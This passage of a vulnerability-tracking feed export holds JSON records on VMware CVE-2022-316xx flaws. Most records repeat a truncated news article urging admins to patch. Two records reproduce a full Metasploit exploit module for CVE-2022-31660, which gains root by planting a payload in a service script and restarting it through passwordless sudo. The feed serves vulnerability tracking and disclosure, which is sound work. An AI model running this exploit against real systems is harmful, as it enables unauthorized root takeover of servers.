by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-05T12:00:04.892050Z"}, {"uuid": "912f8cdf-18b2-4669-8e29-98044e7eea6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31661", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-05T12:00:04.991365Z"}, {"uuid": "51395703-316e-496d-825d-8f990f441150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64227", "content": "Exploit Collector\nVMware Workspace ONE Access Privilege Escalation\n\nhttps://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control is permitted via the sudo configuration without a password.\n\nSHA-256 | 84c0696cc53d2e4bd749c04b694cbb8ae3676b266a9d0e92ecb77d88dc2558c3Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\nRank = ExcellentRanking\n\ninclude Msf::Exploit::EXE\ninclude Msf::Post::File\ninclude Msf::Post::Unix\n\nTARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n{\n'Name' => 'VMware Workspace ONE Access CVE-2022-31660',\n'Description' => %q{\nVMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges\nto those of the root user by modifying a file and then restarting the vmware-certproxy service which\ninvokes it. The service control is permitted via the sudo configuration without a password.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Spencer McIntyre'\n],\n'Platform' => [ 'linux', 'unix' ],\n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n'SessionTypes' => ['shell', 'meterpreter'],\n'Targets' => [\n[ 'Automatic', {} ],\n],\n'DefaultOptions' => {\n'PrependFork' => true,\n'MeterpreterTryToFork' => true\n},\n'Privileged' => true,\n'DefaultTarget' => 0,\n'References' => [\n[ 'CVE', '2022-31660' ],\n[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]\n],\n'DisclosureDate' => '2022-08-02',\n'Notes' => {\n# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service\n# is disabled by default though.\n'Stability' => [CRASH_SERVICE_DOWN],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [ARTIFACTS_ON_DISK]\n}\n}\n)\n)\nend\n\ndef certproxy_service\n# this script's location depends on the version, so find it.\nreturn @certproxy_service if @certproxy_service\n\n@certproxy_service = [\n'/usr/local/horizon/scripts/certproxyService.sh',\n'/opt/vmware/certproxy/bin/certproxyService.sh'\n].find { |path| file?(path) }\n\nvprint_status(\"Found service control script at: #{@certproxy_service}\") if @certproxy_service\n@certproxy_service\nend\n\ndef sudo(arguments)\ncmd_exec(\"sudo --non-interactive #{arguments}\")\nend\n\ndef check\nunless whoami == 'horizon'\nreturn CheckCode::Safe('Not running as the horizon user.')\nend\n\ntoken = Rex::Text.rand_text_alpha(10)\nunless sudo(\"--list '#{certproxy_service}' && echo #{token}\").include?(token)\nreturn CheckCode::Safe('Cannot invoke the service control script with sudo.')\nend\n\nunless writable?(TARGET_FILE)\nreturn CheckCode::Safe('Cannot write to the service file.')\nend\n\nCheckCode::Appears\nend\n\ndef exploit\n# backup the original permissions and contents\nprint_status('Backing up the original file...')\n@backup = {\nstat: stat(TARGET_FILE),\ncontents: read_file(TARGET_FILE)\n}\n\nif payload.arch.first == ARCH_CMD\npayload_data = \"#!/bin/bash\\n#{payload.encoded}\"\nelse\npayload_data = generate_payload_exe\nend\nupload_and_chmodx(TARGET_FILE, payload_data)\nprint_status('Triggering the payload...')\nsudo(\"--background #{certproxy_service} restart\")\nend\n\ndef cleanup\nreturn unless @backup\n\nprint_status('Restoring file contents...')\nfile_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it\nwrite_file(TARGET_FILE, @backup[:contents])\nprint_status('Restoring file permissions...')\nchmod(TARGET_FILE, @backup[:stat].mode & 0o777)\nend\nend Source:packetstormsecurity.com\n\u2796 Sent by @TheFeedReaderBot \u2796\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T12:00:05.105410Z"}, {"uuid": "8769064a-d777-4a28-8ca6-240df2084d9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64227", "content": "Exploit Collector\nVMware Workspace ONE Access Privilege Escalation\n\nhttps://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control is permitted via the sudo configuration without a password.\n\nSHA-256 | 84c0696cc53d2e4bd749c04b694cbb8ae3676b266a9d0e92ecb77d88dc2558c3Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\nRank = ExcellentRanking\n\ninclude Msf::Exploit::EXE\ninclude Msf::Post::File\ninclude Msf::Post::Unix\n\nTARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n{\n'Name' => 'VMware Workspace ONE Access CVE-2022-31660',\n'Description' => %q{\nVMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges\nto those of the root user by modifying a file and then restarting the vmware-certproxy service which\ninvokes it. The service control is permitted via the sudo configuration without a password.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Spencer McIntyre'\n],\n'Platform' => [ 'linux', 'unix' ],\n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n'SessionTypes' => ['shell', 'meterpreter'],\n'Targets' => [\n[ 'Automatic', {} ],\n],\n'DefaultOptions' => {\n'PrependFork' => true,\n'MeterpreterTryToFork' => true\n},\n'Privileged' => true,\n'DefaultTarget' => 0,\n'References' => [\n[ 'CVE', '2022-31660' ],\n[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]\n],\n'DisclosureDate' => '2022-08-02',\n'Notes' => {\n# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service\n# is disabled by default though.\n'Stability' => [CRASH_SERVICE_DOWN],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [ARTIFACTS_ON_DISK]\n}\n}\n)\n)\nend\n\ndef certproxy_service\n# this script's location depends on the version, so find it.\nreturn @certproxy_service if @certproxy_service\n\n@certproxy_service = [\n'/usr/local/horizon/scripts/certproxyService.sh',\n'/opt/vmware/certproxy/bin/certproxyService.sh'\n].find { |path| file?(path) }\n\nvprint_status(\"Found service control script at: #{@certproxy_service}\") if @certproxy_service\n@certproxy_service\nend\n\ndef sudo(arguments)\ncmd_exec(\"sudo --non-interactive #{arguments}\")\nend\n\ndef check\nunless whoami == 'horizon'\nreturn CheckCode::Safe('Not running as the horizon user.')\nend\n\ntoken = Rex::Text.rand_text_alpha(10)\nunless sudo(\"--list '#{certproxy_service}' && echo #{token}\").include?(token)\nreturn CheckCode::Safe('Cannot invoke the service control script with sudo.')\nend\n\nunless writable?(TARGET_FILE)\nreturn CheckCode::Safe('Cannot write to the service file.')\nend\n\nCheckCode::Appears\nend\n\ndef exploit\n# backup the original permissions and contents\nprint_status('Backing up the original file...')\n@backup = {\nstat: stat(TARGET_FILE),\ncontents: read_file(TARGET_FILE)\n}\n\nif payload.arch.first == ARCH_CMD\npayload_data = \"#!/bin/bash\\n#{payload.encoded}\"\nelse\npayload_data = generate_payload_exe\nend\nupload_and_chmodx(TARGET_FILE, payload_data)\nprint_status('Triggering the payload...')\nsudo(\"--background #{certproxy_service} restart\")\nend\n\ndef cleanup\nreturn unless @backup\n\nprint_status('Restoring file contents...')\nfile_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it\nwrite_file(TARGET_FILE, @backup[:contents])\nprint_status('Restoring file permissions...')\nchmod(TARGET_FILE, @backup[:stat].mode & 0o777)\nend\nend Source:packetstormsecurity.com\n\u2796 Sent by @TheFeedReaderBot \u2796\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:48.111683Z"}, {"uuid": "a510a910-bc47-4c85-bdd7-cccfec55c9f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31664", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-06T00:00:47.734851Z"}, {"uuid": "a06531bc-ec31-483e-92bd-2b57486a2a71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-06T00:00:47.780520Z"}, {"uuid": "5c16a083-fb3a-44b5-8316-a361f00a3021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31665", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-06T00:00:47.916006Z"}, {"uuid": "ce880021-bce5-4e52-90c5-f841f0e0fdc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31661", "type": "seen", "source": "https://t.me/hacking_Attack/64081", "content": "Black Hat Ethical Hacking\nVMware urges admins to patch critical auth bypass bug immediately\n\nVMware urges admins to patch critical auth bypass bug immediatelyPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VMware has warned admins today to patch a critical authentication bypass security flaw affecting local domain users in multiple products and enabling unauthenticated attackers to gain admin privileges.The flaw (CVE-2022-31656) was reported by Petrus Viet of VNG Security, who found that it impacts VMware Workspace ONE Access, Identity Manager, and vRealize Automation.\n\nVMware evaluated\u00a0the severity of this security vulnerability as critical, with a CVSSv3 base score of 9.8/10.\n\nThe company also patched multiple other security bugs enabling attackers to gain remote code execution (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665) and escalate privileges to \u2018root\u2019 (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) on unpatched servers.\n\n\u201cIt is extremely important that you quickly take steps to patch or mitigate these issues in on-premises deployments,\u201d said\u00a0Bob Plankers, Cloud Infrastructure Security & Compliance Architect at VMware.\n\n\u201cIf your organization uses ITIL methodologies for change management, this would be considered an \u2019emergency\u2019 change.\u201d\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Admins urged to patch immediately\u201cThis critical vulnerability should be patched or mitigated immediately per the instructions in VMSA,\u201d VMware warned.\n\n\u201cAll environments are different, have different tolerance for risk, and have different security controls and defense-in-depth to mitigate risk, so customers must make their own decisions on how to proceed. However, given the severity of the vulnerability, we strongly recommend immediate action.\u201d\n\nThe complete list of VMware products impacted by these vulnerabilities includes:\n\n* VMware Workspace ONE Access (Access)\n* VMware Workspace ONE Access Connector (Access Connector)\n* VMware Identity Manager (vIDM)\n* VMware Identity Manager Connector (vIDM Connector)\n* VMware vRealize Automation (vRA)\n* VMware Cloud Foundation\n* vRealize Suite Lifecycle Manager\n\nAccording to VMware, there is no evidence that the critical CVE-2022-31656 authentication bypass vulnerability is exploited in attacks.\n\nVMware provides patch download links and detailed installation instructions on its knowledgebase website. https://www.bleepstatic.com/images/news/u/1109292/2022/CVE-2022-31656_Petrus-Viet-tweet.png Trending: The Difference between White-Box and Black-Box Pentesting Trending: Offensive Security Tool: DDoS-Layer7-bheh Workaround availableThe company also shared\u00a0a temporary workaround for customers who cannot patch their appliances against CVE-2022-31656 immediately. Steps detailed by VMware\u00a0require admins to disable all users except one provisioned administrator and log in via SSH to restart the horizon-workspace service.\n\nHowever, VMware doesn\u2019t recommend using this workaround and says the only way to address the CVE-2022-31656 auth bypass flaw fully is to patch the vulnerable products.\n\n\u201cThe only way to remove the vulnerabilities from your environment is to apply the patches provided in VMSA-2022-0021. Workarounds, while convenient, do not remove the vulnerabilities, and almost always introduce additional complexities that patching would not,\u201d VMware added.\n\n\u201cWhile the decision to patch or use the workaround is yours, VMware always strongly recommends patching as the simplest and most reliable way to resolve this type of issue.\u201d\n\nThe company also provides a support document\u00a0with a[...]", "creation_timestamp": "2026-09-06T00:00:48.006113Z"}, {"uuid": "2f573e8a-ff11-4be9-9995-153df91ca5b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/vmware_workspace_one_access_certproxy_lpe.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"cmd, x86, x64\", \"author\": [\"Spencer McIntyre\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges\\n            to those of the root user by modifying a file and then restarting the vmware-certproxy service which\\n            invokes it. The service control is permitted via the sudo configuration without a password.\", \"disclosure_date\": \"2022-08-02\", \"fullname\": \"exploit/linux/local/vmware_workspace_one_access_certproxy_lpe\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:57:34 +0000\", \"name\": \"VMware Workspace ONE Access CVE-2022-31660\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\"], \"Stability\": [\"crash-service-down\"]}, \"path\": \"/modules/exploits/linux/local/vmware_workspace_one_access_certproxy_lpe.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 500, \"ref_name\": \"linux/local/vmware_workspace_one_access_certproxy_lpe\", \"references\": [\"CVE-2022-31660\", \"URL-https://www.vmware.com/security/advisories/VMSA-2022-0021.html\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Automatic\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:14.129492Z"}]}